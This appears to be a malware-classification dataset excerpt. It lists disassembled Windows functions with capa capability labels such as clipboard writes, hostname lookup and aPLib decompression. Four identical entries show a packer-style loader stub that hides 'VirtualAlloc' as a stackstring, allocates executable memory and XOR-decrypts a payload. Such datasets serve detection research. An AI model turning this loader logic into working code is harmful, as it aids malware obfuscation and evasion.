joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000ca08
Capabilities:
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ebx, edx
mov rsi, rcx
call qword [sym.imp.USER32.dll_EmptyClipboard]
lea eax, [rbx + 1]
mov ecx, 0x2002
movsxd rdi, eax
add rdi, rdi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ca58
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.140020be0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetClipboardData]
test rax, rax
jne 0x14000ca7d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.USER32.dll_CloseClipboard]
Function at 0x1400113a0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
xorps xmm0, xmm0
mov rdi, rcx
lea rcx, [rbp + 7]
mov r15, rdx
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp + 0x27], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
and qword [rdi + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
xor edx, edx
movups xmmword [rbp - 0x49], xmm0
movups xmmword [rbp - 0x39], xmm0
jmp 0x1400114e1
cmp dword [rbp - 0x39], 0x1000
jne 0x1400114d6
mov rsi, qword [rdi + 0x18]
movups xmm0, xmmword [rbp - 0x59]
mov rbx, rsi
mov rcx, rsi
movups xmm1, xmmword [rbp - 0x49]
movups xmm2, xmmword [rbp - 0x39]
movq rdx, xmm0
mov qword [rbp + 0x67], rdx
mov rax, qword [rsi + 8]
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm1
movups xmmword [rbp - 9], xmm2
jmp 0x140011442
cmp qword [rax + 0x20], rdx
jae 0x14001143c
mov rax, qword [rax + 0x10]
jmp 0x140011442
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140011430
cmp rbx, rcx
je 0x140011453
cmp rdx, qword [rbx + 0x20]
jae 0x1400114af
mov ecx, 0x58
int3
movups xmmword [rbx + 0x28], xmm0
movups xmmword [rbx + 0x38], xmm1
movups xmmword [rbx + 0x48], xmm2
test byte [rbp - 0x35], 0x70
je 0x1400114d6
mov r8, qword [rbp - 0x41]
xor edx, edx
mov ecx, dword [rbp + 0xb]
mov rax, r8
div rcx
add qword [rdi + 0x10], rax
jmp 0x1400114da
mov r8, qword [rbp - 0x41]
mov rdx, qword [rbp - 0x59]
add rdx, r8
mov r9d, 0x30
lea r8, [rbp - 0x59]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp rax, 0x30
je 0x1400113f2
mov rbx, qword [rsp + 0xf8]
add rsp, 0xc0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140018e6c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rsi, rdx
mov rbp, rcx
lea rdx, str.ClientCustomData
lea rcx, [rsp + 0x30]
call fcn.1400055c0
call fcn.14000144c
xor edi, edi
mov rcx, rax
test rax, rax
je 0x140018fd7
mov rax, qword [rax]
call qword [rax + 0x18]
mov r8, qword [rsp + 0x30]
lea rdx, str.__s__r_n
add rax, 0x18
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x78], rax
call fcn.14000b108
mov rax, qword [rsi]
mov rbx, qword [rax]
cmp rbx, rax
je 0x140018f33
mov r9, qword [rbx + 0x28]
lea rdx, str._s_s_r_n
mov r8, qword [rbx + 0x20]
lea rcx, [rsp + 0x78]
call fcn.14000b108
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], dil
je 0x140018f13
mov rax, qword [rbx + 8]
jmp 0x140018f08
cmp rbx, qword [rax + 0x10]
jne 0x140018f0e
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], dil
je 0x140018efb
mov rbx, rax
jmp 0x140018f2e
mov rcx, qword [rax]
mov rbx, rax
cmp byte [rcx + 0x19], dil
jne 0x140018f2e
mov rax, qword [rcx]
mov rbx, rcx
mov rcx, rax
cmp byte [rax + 0x19], dil
je 0x140018f1f
cmp rbx, qword [rsi]
jne 0x140018ed2
mov rbx, qword [rsp + 0x78]
lea r9, [rsp + 0x70]
mov dword [rsp + 0x70], edi
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rdi
mov r8d, dword [rbx - 0x10]
add r8d, r8d
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140018f84
call fcn.14000ba64
lea rdx, [rbx - 0x18]
mov esi, eax
or ebx, 0xffffffff
mov ecx, ebx
lock xadd dword [rdx + 0x10], ecx
add ecx, ebx
test ecx, ecx
jg 0x140018fa3
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
jmp 0x140018fa3
lea rdx, [rbx - 0x18]
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x140018fa1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov esi, edi
mov rdx, qword [rsp + 0x30]
mov ecx, ebx
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], ecx
add ecx, ebx
test ecx, ecx
jg 0x140018fc3
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
mov rbx, qword [rsp + 0x60]
test esi, esi
cmovs edi, esi
mov eax, edi
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x80004005
call fcn.1400017a4
int3

Function at 0x14001ae90
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x240
mov rax, qword [0x140052010]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x200
call fcn.140020a20
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x100
lea rdx, [rsp + 0x30]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
xor ebx, ebx
test eax, eax
je 0x14001aef6
lea rcx, [rsp + 0x30]
call fcn.1400067ec
test al, al
je 0x14001aef6
mov al, 1
jmp 0x14001af3c
lea r8, [rsp + 0x28]
mov qword [rsp + 0x28], rbx
mov edx, 0x64
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
mov rdi, qword [rsp + 0x28]
test eax, eax
jne 0x14001af31
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14001af31
lea rdx, str.google
int3
mov rcx, rdi
call qword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov al, bl
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14001fe10
mov rbx, qword [rsp + 0x250]
add rsp, 0x240
pop rdi
ret
Function at 0x140020169
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140020187
je 0x140020192
call 0x1400201e1
mov bl, 0xc7
lahf
pop rsi
jne 0x140020172
call 0x14002018a
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140020172
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x1400201c0
je 0x1400201fe
invalid
je 0x14002020f
jne 0x140020172
lea rax, [0x140020098]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14001bdf9]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x1400202b0
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140020309
je 0x14002030f
call 0x140020300
fild qword [rdi - 0x7c]
jmp 0x174f5ca82
jne 0x1400202d2
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140020292
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x14002017c
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140020187
je 0x140020192
call 0x1400201e1
mov bl, 0xc7
lahf
pop rsi
jne 0x140020172
call 0x14002018a
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140020172
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x1400201c0
je 0x1400201fe
invalid
je 0x14002020f
jne 0x140020172
lea rax, [0x140020098]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14001bdf9]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x1400202b0
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140020309
je 0x14002030f
call 0x140020300
fild qword [rdi - 0x7c]
jmp 0x174f5ca82
jne 0x1400202d2
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140020292
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x1400201a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140020187
je 0x140020192
call 0x1400201e1
mov bl, 0xc7
lahf
pop rsi
jne 0x140020172
call 0x14002018a
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140020172
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x1400201c0
je 0x1400201fe
invalid
je 0x14002020f
jne 0x140020172
lea rax, [0x140020098]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14001bdf9]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x1400202b0
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140020309
je 0x14002030f
call 0x140020300
fild qword [rdi - 0x7c]
jmp 0x174f5ca82
jne 0x1400202d2
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140020292
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x1400201e1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140020187
je 0x140020192
call 0x1400201e1
mov bl, 0xc7
lahf
pop rsi
jne 0x140020172
call 0x14002018a
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140020172
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x1400201c0
je 0x1400201fe
invalid
je 0x14002020f
jne 0x140020172
lea rax, [0x140020098]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14001bdf9]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x1400202b0
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140020309
je 0x14002030f
call 0x140020300
fild qword [rdi - 0x7c]
jmp 0x174f5ca82
jne 0x1400202d2
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140020292
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x14041b108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14041b28f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14041b139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14041b11f
add dl, dl
jne 0x14041b146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14041b1a6
xor eax, eax
add dl, dl
jne 0x14041b155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14041b25d
add dl, dl
jne 0x14041b166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14041b173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14041b180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14041b18d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14041b19a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14041b12e
mov eax, 1
add dl, dl
jne 0x14041b1b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14041b1c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14041b1ab
sub eax, ebx
mov ebx, 1
jne 0x14041b1fc
mov ecx, 1
add dl, dl
jne 0x14041b1de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14041b1eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14041b1d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14041b12e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14041b218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14041b225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14041b20d
cmp eax, 0x7d00
jae 0x14041b24b
cmp eax, 0x500
jb 0x14041b246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14041b12e
cmp eax, 0x7f
ja 0x14041b24e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14041b12e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14041b282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14041b12e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400013b0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140078140]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp qword [0x140078700], 0
je 0x14000144d
mov r9, qword [0x1400786f8]
lea rbx, [0x140078850]
mov qword [rsp + 0x30], r8
lea r8, str._llx:__lx___lx__0__0___s___r_n
mov dword [rsp + 0x28], edx
mov edx, 0x400
mov dword [rsp + 0x20], ecx
mov rcx, rbx
call qword [sym.imp.ntdll.dll_sprintf_s]
nop dword [rax + rax]
and qword [rsp + 0x40], 0
lea rcx, [rsp + 0x50]
or dword [rsp + 0x50], 0xffffffff
xor r9d, r9d
or dword [rsp + 0x54], 0xffffffff
xor r8d, r8d
mov qword [rsp + 0x38], rcx
xor edx, edx
mov rcx, qword [0x140078700]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140058110
add rsp, 0x70
pop rbx
ret

Function at 0x140001468
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140078140]
xor rax, rsp
mov qword [rsp + 0x70], rax
cmp qword [0x140078700], 0
mov rbx, rcx
je 0x140001516
lea rcx, [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtQuerySystemTime]
nop dword [rax + rax]
mov r9, qword [rsp + 0x58]
lea r8, str._llx:_0__0__0__0___s___r_n
mov qword [rsp + 0x20], rbx
mov edx, 0x400
lea rbx, [0x140078c50]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_sprintf_s]
nop dword [rax + rax]
and qword [rsp + 0x40], 0
lea rcx, [rsp + 0x50]
or dword [rsp + 0x50], 0xffffffff
xor r9d, r9d
or dword [rsp + 0x54], 0xffffffff
xor r8d, r8d
mov qword [rsp + 0x38], rcx
xor edx, edx
mov rcx, qword [0x140078700]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140058110
add rsp, 0x80
pop rbx
ret

Function at 0x140001534
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140078140]
xor rax, rsp
mov qword [rsp + 0x70], rax
cmp qword [0x140078700], 0
mov rbx, rcx
je 0x1400015ef
lea rcx, [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtQuerySystemTime]
nop dword [rax + rax]
movzx edx, word [rbx]
lea r8, str._llx:_0__0__0__0__InterferingProcess____.ls_r_n
mov rax, qword [rbx + 8]
lea rbx, [0x140079050]
mov r9, qword [rsp + 0x58]
mov rcx, rbx
shr edx, 1
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edx
mov edx, 0x400
call qword [sym.imp.ntdll.dll_sprintf_s]
nop dword [rax + rax]
and qword [rsp + 0x40], 0
lea rcx, [rsp + 0x50]
or dword [rsp + 0x50], 0xffffffff
xor r9d, r9d
or dword [rsp + 0x54], 0xffffffff
xor r8d, r8d
mov qword [rsp + 0x38], rcx
xor edx, edx
mov rcx, qword [0x140078700]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140058110
add rsp, 0x80
pop rbx
ret
Function at 0x14000160c
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140078140]
xor rax, rsp
mov qword [rsp + 0x78], rax
movzx r8d, word [rcx]
mov rbx, rcx
cmp r8, 0x1ec
ja 0x140001752
mov rdx, qword [rcx + 8]
lea rcx, [0x140079464]
call sub.ntdll.dll_memcpy
movzx eax, word [rbx]
lea rdi, [0x140079450]
shr rax, 1
lea rcx, [rdi + rax*2]
mov eax, 0x2e
mov word [rcx + 0x14], ax
add rcx, 0x16
mov rdx, qword [0x1400786f8]
xor r8d, r8d
lea rax, [0x140079650]
cmp rcx, rax
jae 0x1400016a7
mov rax, rdx
lea r9, [0x14005ddd8]
shr rax, 0x3c
inc r8d
shl rdx, 4
movsx eax, byte [rax + r9]
mov word [rcx], ax
add rcx, 2
cmp r8d, 0x10
jb 0x140001674
movzx eax, word [rbx]
lea r9, [rsp + 0x68]
and qword [0x140079458], 0
lea r8, [rsp + 0x38]
and qword [rsp + 0x40], 0
lea rcx, [rsp + 0x30]
add eax, 0x22
mov dword [rsp + 0x28], 0x4060
xorps xmm0, xmm0
mov dword [0x140079460], eax
mov edx, 0x100100
mov byte [0x140079450], 1
mov dword [rsp + 0x38], 0x30
mov dword [rsp + 0x50], 0x40
mov qword [rsp + 0x48], rbx
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x20], 7
call qword [sym.imp.ntdll.dll_NtOpenFile]
nop dword [rax + rax]
test eax, eax
js 0x140001752
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x68]
mov r9d, 0x200
mov dword [rsp + 0x20], 0xb
mov r8, rdi
call qword [sym.imp.ntdll.dll_NtSetInformationFile]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtClose]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140058110
mov rbx, qword [rsp + 0x98]
add rsp, 0x80
pop rdi
ret
Function at 0x140003be8
Capabilities:
Get file attributes
Read file on windows

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x140078140]
xor rax, rsp
mov qword [rbp + 0x37], rax
and qword [rsp + 0x48], 0
mov r10d, 1
and qword [rsp + 0x40], 0
mov rdi, r8
mov rax, qword [rcx + 8]
lea r8, [rbp + 7]
and qword [rbp + 7], 0
xorps xmm0, xmm0
and qword [rbp - 0x21], 0
mov r9d, 0x120089
mov qword [rbp - 0x19], rdx
lea rdx, [rbp + 0xf]
mov dword [rsp + 0x38], 0x60
mov dword [rsp + 0x30], r10d
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x29]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rcx + 0xa0]
mov ecx, r10d
mov dword [rbp - 0x29], 0x30
mov dword [rbp - 0x11], 0x40
movdqu xmmword [rbp - 9], xmm0
call qword [case.0x1400532ec.0]
mov ebx, eax
test eax, eax
js 0x140003d8f
mov rcx, qword [rbp + 7]
lea r8, [rbp + 0x1f]
mov r9d, 0x18
mov dword [rsp + 0x20], 5
lea rdx, [rbp + 0xf]
call qword [sym.imp.ntdll.dll_NtQueryInformationFile]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
js 0x140003d8f
mov rax, qword [rbp + 0x27]
test rax, rax
jns 0x140003cfa
and qword [rbp - 0x31], 0
lea rax, str.onecore_basewcp_toolspoqexecpoqexec.cpp
mov qword [rbp - 0x49], rax
lea rcx, [rbp - 0x49]
lea rax, str.LoadXmlBlob
mov dword [rbp - 0x39], 0x73a
mov r8d, 0xc00000e5
mov qword [rbp - 0x41], rax
call fcn.14004f4fc
mov ebx, 0xc00000e5
jmp 0x140003d8f
mov ecx, 0xffffffff
cmp rax, rcx
jle 0x140003d3c
and qword [rbp - 0x31], 0
lea rax, str.onecore_basewcp_toolspoqexecpoqexec.cpp
mov qword [rbp - 0x49], rax
lea rcx, [rbp - 0x49]
lea rax, str.LoadXmlBlob
mov dword [rbp - 0x39], 0x742
mov r8d, 0xc000042b
mov qword [rbp - 0x41], rax
call fcn.14004f4fc
mov ebx, 0xc000042b
jmp 0x140003d8f
mov ecx, eax
mov rdx, rdi
call fcn.140050d34
mov ebx, eax
test eax, eax
js 0x140003d8f
and qword [rsp + 0x40], 0
xor r9d, r9d
and qword [rsp + 0x38], 0
xor r8d, r8d
mov eax, dword [rdi + 8]
xor edx, edx
mov rcx, qword [rdi + 0x10]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0xf]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 7]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtReadFile]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jns 0x140003db2
